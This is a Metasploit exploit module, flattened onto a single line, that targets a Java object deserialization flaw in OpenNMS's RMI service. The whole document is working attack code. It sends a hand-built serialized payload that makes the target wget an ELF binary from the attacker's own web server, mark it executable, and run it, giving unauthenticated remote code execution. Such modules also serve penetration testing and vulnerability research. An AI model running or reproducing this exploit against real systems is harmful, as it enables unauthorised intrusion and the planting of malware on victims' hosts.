OpenNMS – Java Object Unserialization Remote Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'OpenNMS Java Object Unserialization Remote Code Execution', 'Description' => %q( This module exploits a vulnerability in the OpenNMS Java object which allows an unauthenticated attacker to run arbitary code against the system. ), 'Author' => [ 'Ben Turner <benpturner[at]yahoo.com>', # @benpturner ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ] ], 'Targets' => [ [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 19 2014' ) ) register_options( [ Opt::RPORT(1099), OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/']) ], self.class) end # This is the execute function that is re-used throughout def exec_command(cmd) vprint_status("#{peer} - Downloading the file #{cmd}") # Do the exploit command bit data1 = "\x4a\x52\x4d\x49\x00\x02\x4b" data2 = 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data2 += cmd.length.chr data2 += cmd data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F" begin connect sock.put(data1) # Wait for a successful response data = recv_protocol_ack # rescue nil unless data fail_with(Failure::Unknown, "This system has not responded with the correct RMI header") end # Send the RMI payload sock.put(data2) # Disconnect disconnect rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host") end end # Wget the file onto the host in the temp directory def wget_payload resource_uri = '/' + @dropped_elf if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri vprint_status("#{peer} - Starting up our web service on #{service_url} ...") start_service( 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}") Rex.sleep(15) end # Change permissions to permit binary execution def chmod_payload cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}" vprint_status("#{peer} - Chmod the payload...") res = exec_command(cmd) fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res Rex.sleep(1) end # Execute payload on host def exec_payload cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf) vprint_status("#{peer} - Executing the payload...") res = exec_command(cmd) fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res Rex.sleep(1) end # Handle incoming requests from the server def on_request_uri(cli, _request) vprint_status("#{peer} - Sending the payload to the server...") send_response(cli, generate_payload_exe) end # Create the payload and run the commands in succcession def exploit print_status("#{peer} - Exploting the vulnerable service...") @payload_url = '' @dropped_elf = rand_text_alpha(rand(5) + 3) wget_payload chmod_payload exec_payload end end |